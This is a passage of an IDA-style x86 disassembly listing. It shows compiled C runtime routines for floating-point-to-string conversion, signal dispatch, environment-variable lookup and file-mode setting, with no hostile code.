loc_42577C:				; CODE XREF: sub_425441+334j
		mov	esi, 1451h


loc_425781:				; CODE XREF: sub_425441+322j
		mov	[ebp+var_1C], esi


loc_425784:				; CODE XREF: sub_425441+371j
		cmp	ds:dword_43F194, 1
		jle	short loc_42579C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F735
		pop	ecx
		pop	ecx
		jmp	short loc_4257AB
; ---------------------------------------------------------------------------


loc_42579C:				; CODE XREF: sub_425441+34Aj
		mov	ecx, ds:off_43EF88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257AB:				; CODE XREF: sub_425441+359j
		test	eax, eax
		jz	short loc_4257B4
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425784
; ---------------------------------------------------------------------------


loc_4257B4:				; CODE XREF: sub_425441+99j
					; sub_425441+E4j ...
		dec	edi
		jmp	short loc_4257B9
; ---------------------------------------------------------------------------


loc_4257B7:				; CODE XREF: sub_425441+261j
					; sub_425441+2BCj
		mov	edi, ecx


loc_4257B9:				; CODE XREF: sub_425441+2DDj
					; sub_425441+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_4258A1
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_4257E5
		cmp	[ebp+var_45], 5
		jl	short loc_4257D9
		inc	[ebp+var_45]


loc_4257D9:				; CODE XREF: sub_425441+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_4257E8
; ---------------------------------------------------------------------------


loc_4257E5:				; CODE XREF: sub_425441+38Dj
		mov	eax, [ebp+var_C]


loc_4257E8:				; CODE XREF: sub_425441+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425897


loc_4257F2:				; CODE XREF: sub_425441+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425800
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4257F2
; ---------------------------------------------------------------------------


loc_425800:				; CODE XREF: sub_425441+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42537A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_42581F
		neg	eax


loc_42581F:				; CODE XREF: sub_425441+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42582A
		add	eax, [ebp+arg_10]


loc_42582A:				; CODE XREF: sub_425441+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425832
		sub	eax, [ebp+arg_14]


loc_425832:				; CODE XREF: sub_425441+3ECj
		cmp	eax, 1450h
		jle	short loc_425869
		mov	[ebp+var_2C], 1


loc_425840:				; CODE XREF: sub_425441+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_42584C:				; CODE XREF: sub_425441+454j
					; sub_425441+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_4258B2
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_4258C7
; ---------------------------------------------------------------------------


loc_425869:				; CODE XREF: sub_425441+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425879
		mov	[ebp+var_30], 1
		jmp	short loc_425840
; ---------------------------------------------------------------------------


loc_425879:				; CODE XREF: sub_425441+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42602A
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_42584C
; ---------------------------------------------------------------------------


loc_425897:				; CODE XREF: sub_425441+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_42584C
; ---------------------------------------------------------------------------


loc_4258A1:				; CODE XREF: sub_425441+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_4258C7
; ---------------------------------------------------------------------------


loc_4258B2:				; CODE XREF: sub_425441+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_4258C7
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_4258C7:				; CODE XREF: sub_425441+426j
					; sub_425441+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_425441	endp

; ---------------------------------------------------------------------------
off_4258E2	dd offset loc_4254AB	; DATA XREF: sub_425441+63r
		dd offset loc_4254FA	; jump table for switch	statement
		dd offset loc_425551
		dd offset loc_42557B
		dd offset loc_4255D6
		dd offset loc_42564D
		dd offset loc_425683
		dd offset loc_4256CD
		dd offset loc_4256AC
		dd offset loc_425731
		dd offset loc_42571B
		dd offset loc_4256E7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425912	proc near		; CODE XREF: sub_424839+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425974
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425978
; ---------------------------------------------------------------------------


loc_425974:				; CODE XREF: sub_425912+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425978:				; CODE XREF: sub_425912+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42599E
		test	edi, edi
		jnz	short loc_42599E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42599E


loc_425989:				; CODE XREF: sub_425912+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425B9C
; ---------------------------------------------------------------------------


loc_42599E:				; CODE XREF: sub_425912+6Cj
					; sub_425912+70j ...
		cmp	dx, si
		jnz	short loc_425A1D
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_4259B7
		cmp	[ebp+arg_0], 0
		jz	short loc_4259C6


loc_4259B7:				; CODE XREF: sub_425912+9Dj
		test	edi, 40000000h
		jnz	short loc_4259C6
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A0C
; ---------------------------------------------------------------------------


loc_4259C6:				; CODE XREF: sub_425912+A3j
					; sub_425912+ABj
		test	cx, cx
		jz	short loc_4259E0
		cmp	edi, 0C0000000h
		jnz	short loc_4259E0
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A07
		push	offset a1Ind	; "1#IND"
		jmp	short loc_4259EF
; ---------------------------------------------------------------------------


loc_4259E0:				; CODE XREF: sub_425912+B7j
					; sub_425912+BFj
		cmp	edi, eax
		jnz	short loc_425A07
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A07
		push	offset a1Inf	; "1#INF"


loc_4259EF:				; CODE XREF: sub_425912+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C0A0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_4259FE:				; CODE XREF: sub_425912+109j
		and	[ebp+var_4], 0
		jmp	loc_425B75
; ---------------------------------------------------------------------------


loc_425A07:				; CODE XREF: sub_425912+C5j
					; sub_425912+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A0C:				; CODE XREF: sub_425912+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C0A0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4259FE
; ---------------------------------------------------------------------------


loc_425A1D:				; CODE XREF: sub_425912+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42602A
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425A7E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425E0A
		pop	ecx
		pop	ecx


loc_425A7E:				; CODE XREF: sub_425912+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425A98
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425A9B
		jmp	loc_425989
; ---------------------------------------------------------------------------


loc_425A98:				; CODE XREF: sub_425912+173j
		mov	edi, [ebp+arg_C]


loc_425A9B:				; CODE XREF: sub_425912+17Fj
		cmp	edi, 15h
		jle	short loc_425AA3
		push	15h
		pop	edi


loc_425AA3:				; CODE XREF: sub_425912+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425AB9:				; CODE XREF: sub_425912+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42531F
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425AB9
		test	esi, esi
		jge	short loc_425AE3
		neg	esi
		and	esi, 0FFh
		jle	short loc_425AE3


loc_425AD6:				; CODE XREF: sub_425912+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42534D
		dec	esi
		pop	ecx
		jnz	short loc_425AD6


loc_425AE3:				; CODE XREF: sub_425912+1B8j
					; sub_425912+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425B40
		mov	[ebp+arg_C], ecx


loc_425AF3:				; CODE XREF: sub_425912+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_42531F
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42531F
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4252C1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42531F
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425AF3
		mov	eax, [ebp+arg_14]


loc_425B40:				; CODE XREF: sub_425912+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425B7D


loc_425B4D:				; CODE XREF: sub_425912+248j
		cmp	eax, ecx
		jb	short loc_425B60
		cmp	byte ptr [eax],	39h
		jnz	short loc_425B5C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425B4D
; ---------------------------------------------------------------------------


loc_425B5C:				; CODE XREF: sub_425912+242j
		cmp	eax, ecx
		jnb	short loc_425B64


loc_425B60:				; CODE XREF: sub_425912+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425B64:				; CODE XREF: sub_425912+24Cj
		inc	byte ptr [eax]


loc_425B66:				; CODE XREF: sub_425912+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425B75:				; CODE XREF: sub_425912+F0j
		mov	eax, [ebp+var_4]


loc_425B78:				; CODE XREF: sub_425912+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425B7D:				; CODE XREF: sub_425912+239j
					; sub_425912+275j
		cmp	eax, ecx
		jb	short loc_425B8D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425B89
		dec	eax
		jmp	short loc_425B7D
; ---------------------------------------------------------------------------


loc_425B89:				; CODE XREF: sub_425912+272j
		cmp	eax, ecx
		jnb	short loc_425B66


loc_425B8D:				; CODE XREF: sub_425912+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425B9C:				; CODE XREF: sub_425912+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425B78
sub_425912	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BA5	proc near		; CODE XREF: sub_42277C+229Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C0C
		dec	eax
		dec	eax
		jz	short loc_425BFD
		sub	eax, 4
		jz	short loc_425BFD
		sub	eax, 3
		jz	short loc_425BFD
		sub	eax, 4
		jz	short loc_425BF0
		sub	eax, 6
		jz	short loc_425BE3
		dec	eax
		jz	short loc_425BD6
		or	eax, 0FFFFFFFFh
		jmp	loc_425CCE
; ---------------------------------------------------------------------------


loc_425BD6:				; CODE XREF: sub_425BA5+27j
		mov	esi, ds:dword_4DE1BC
		mov	eax, offset dword_4DE1BC
		jmp	short loc_425C17
; ---------------------------------------------------------------------------


loc_425BE3:				; CODE XREF: sub_425BA5+24j
		mov	esi, ds:dword_4DE1B8
		mov	eax, offset dword_4DE1B8
		jmp	short loc_425C17
; ---------------------------------------------------------------------------


loc_425BF0:				; CODE XREF: sub_425BA5+1Fj
		mov	esi, ds:dword_4DE1C0
		mov	eax, offset dword_4DE1C0
		jmp	short loc_425C17
; ---------------------------------------------------------------------------


loc_425BFD:				; CODE XREF: sub_425BA5+10j
					; sub_425BA5+15j ...
		push	edi
		call	sub_425CD2
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C17
; ---------------------------------------------------------------------------


loc_425C0C:				; CODE XREF: sub_425BA5+Cj
		mov	esi, ds:dword_4DE1B4
		mov	eax, offset dword_4DE1B4


loc_425C17:				; CODE XREF: sub_425BA5+3Cj
					; sub_425BA5+49j ...
		cmp	esi, 1
		jnz	short loc_425C23
		xor	eax, eax
		jmp	loc_425CCE
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BA5+75j
		test	esi, esi
		jnz	short loc_425C2E
		push	3
		call	sub_41B9B2


loc_425C2E:				; CODE XREF: sub_425BA5+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425C40
		cmp	edi, 0Bh
		jz	short loc_425C40
		cmp	edi, 4
		jnz	short loc_425C66


loc_425C40:				; CODE XREF: sub_425BA5+8Fj
					; sub_425BA5+94j
		mov	ebx, ds:dword_4DDF94
		and	ds:dword_4DDF94, 0
		cmp	edi, ecx
		jnz	short loc_425C95
		mov	edx, ds:dword_43F85C
		mov	ds:dword_43F85C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425C69
; ---------------------------------------------------------------------------


loc_425C66:				; CODE XREF: sub_425BA5+99j
		mov	ebx, [ebp+arg_0]


loc_425C69:				; CODE XREF: sub_425BA5+BFj
		cmp	edi, ecx
		jnz	short loc_425C95
		mov	eax, ds:dword_43F850
		mov	ecx, ds:dword_43F854
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425C9C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43F7E0h[edx*4]


loc_425C8A:				; CODE XREF: sub_425BA5+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425C8A
		jmp	short loc_425C9C
; ---------------------------------------------------------------------------


loc_425C95:				; CODE XREF: sub_425BA5+AAj
					; sub_425BA5+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425CAA


loc_425C9C:				; CODE XREF: sub_425BA5+D7j
					; sub_425BA5+EEj
		push	ds:dword_43F85C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425CB8
; ---------------------------------------------------------------------------


loc_425CAA:				; CODE XREF: sub_425BA5+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425CB8
		cmp	edi, 4
		jnz	short loc_425CCB


loc_425CB8:				; CODE XREF: sub_425BA5+103j
					; sub_425BA5+10Cj
		cmp	edi, 8
		mov	ds:dword_4DDF94, ebx
		jnz	short loc_425CCB
		mov	eax, [ebp+arg_0]
		mov	ds:dword_43F85C, eax


loc_425CCB:				; CODE XREF: sub_425BA5+111j
					; sub_425BA5+11Cj
		xor	eax, eax
		pop	ebx


loc_425CCE:				; CODE XREF: sub_425BA5+2Cj
					; sub_425BA5+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425BA5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425CD2	proc near		; CODE XREF: sub_425BA5+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_43F858
		cmp	ds:dword_43F7DC, edx
		push	esi
		mov	eax, offset dword_43F7D8
		jz	short loc_425D00
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43F7D8h[esi*4]


loc_425CF4:				; CODE XREF: sub_425CD2+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D00
		cmp	[eax+4], edx
		jnz	short loc_425CF4


loc_425D00:				; CODE XREF: sub_425CD2+16j
					; sub_425CD2+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43F7D8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D14
		cmp	[eax+4], edx
		jz	short locret_425D16


loc_425D14:				; CODE XREF: sub_425CD2+3Bj
		xor	eax, eax

locret_425D16:				; CODE XREF: sub_425CD2+40j
		retn
sub_425CD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D17	proc near		; CODE XREF: sub_424A3C+23p

arg_0		= dword	ptr  4

		cmp	ds:dword_4DF550, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_4DDEDC
		push	edi
		jz	short loc_425D8E
		test	esi, esi
		jnz	short loc_425D48
		cmp	ds:dword_4DDEE4, esi
		jz	short loc_425D8E
		call	sub_4260E5
		test	eax, eax
		jnz	short loc_425D8E
		mov	esi, ds:dword_4DDEDC
		test	esi, esi
		jz	short loc_425D8E


loc_425D48:				; CODE XREF: sub_425D17+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425D8E
		push	ebx
		call	sub_41B1D0
		pop	ecx
		mov	edi, eax


loc_425D59:				; CODE XREF: sub_425D17+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425D8E
		push	eax
		call	sub_41B1D0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425D81
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425D81
		push	edi
		push	ebx
		push	eax
		call	sub_4260A6
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425D86


loc_425D81:				; CODE XREF: sub_425D17+51j
					; sub_425D17+59j
		add	esi, 4
		jmp	short loc_425D59
; ---------------------------------------------------------------------------


loc_425D86:				; CODE XREF: sub_425D17+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425D90
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425D17+10j
					; sub_425D17+1Cj ...
		xor	eax, eax


loc_425D90:				; CODE XREF: sub_425D17+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425D17	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D94	proc near		; CODE XREF: seg000:004251E5p
					; seg000:00425233p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_4DE2E0
		jnb	short loc_425DFB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4DE1E0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DFB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DD4
		and	cl, 7Fh
		jmp	short loc_425DE1
; ---------------------------------------------------------------------------


loc_425DD4:				; CODE XREF: sub_425D94+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DEF
		or	cl, 80h


loc_425DE1:				; CODE XREF: sub_425D94+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DEF:				; CODE XREF: sub_425D94+48j
		mov	ds:dword_4DDEB4, 16h
		jmp	short loc_425E05
; ---------------------------------------------------------------------------


loc_425DFB:				; CODE XREF: sub_425D94+Bj
					; sub_425D94+27j
		mov	ds:dword_4DDEB4, 9


loc_425E05:				; CODE XREF: sub_425D94+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E0A	proc near		; CODE XREF: sub_425912+165p
					; sub_42602A+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_42600A
		cmp	cx, 7FFFh
		jnb	loc_42600A
		cmp	dx, 0BFFDh
		ja	loc_42600A
		cmp	dx, 3FBFh
		ja	short loc_425E73
		xor	eax, eax
		jmp	short loc_425EAD
; ---------------------------------------------------------------------------


loc_425E73:				; CODE XREF: sub_425E0A+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E95
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E95
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E97
		cmp	[esi], eax
		jnz	short loc_425E97
		jmp	loc_426004
; ---------------------------------------------------------------------------


loc_425E95:				; CODE XREF: sub_425E0A+71j
					; sub_425E0A+79j
		xor	eax, eax


loc_425E97:				; CODE XREF: sub_425E0A+80j
					; sub_425E0A+84j
		cmp	cx, ax
		jnz	short loc_425EBA
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425EBA
		cmp	[ebx+4], eax
		jnz	short loc_425EBA
		cmp	[ebx], eax
		jnz	short loc_425EBA


loc_425EAD:				; CODE XREF: sub_425E0A+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426025
; ---------------------------------------------------------------------------


loc_425EBA:				; CODE XREF: sub_425E0A+90j
					; sub_425E0A+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425ECA:				; CODE XREF: sub_425E0A+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F1E
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425EE6:				; CODE XREF: sub_425E0A+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_4252A0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425F11
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425F11:				; CODE XREF: sub_425E0A+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425EE6


loc_425F1E:				; CODE XREF: sub_425E0A+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425ECA
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F61


loc_425F3C:				; CODE XREF: sub_425E0A+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F5A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42531F
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F3C


loc_425F5A:				; CODE XREF: sub_425E0A+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F9A


loc_425F61:				; CODE XREF: sub_425E0A+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F9A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F7A:				; CODE XREF: sub_425E0A+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F83
		inc	[ebp+var_14]


loc_425F83:				; CODE XREF: sub_425E0A+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42534D
		dec	ebx
		pop	ecx
		jnz	short loc_425F7A
		cmp	[ebp+var_14], 0
		jz	short loc_425F9A
		or	byte ptr [ebp+var_24], 1


loc_425F9A:				; CODE XREF: sub_425E0A+155j
					; sub_425E0A+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425FB1
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FE6


loc_425FB1:				; CODE XREF: sub_425E0A+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FE3
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FDE
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FD8
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FE6
; ---------------------------------------------------------------------------


loc_425FD8:				; CODE XREF: sub_425E0A+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FE6
; ---------------------------------------------------------------------------


loc_425FDE:				; CODE XREF: sub_425E0A+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FE6
; ---------------------------------------------------------------------------


loc_425FE3:				; CODE XREF: sub_425E0A+1ABj
		inc	[ebp+var_24+2]


loc_425FE6:				; CODE XREF: sub_425E0A+1A5j
					; sub_425E0A+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_42600A
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_426004:				; CODE XREF: sub_425E0A+86j
		mov	[esi+0Ah], ax
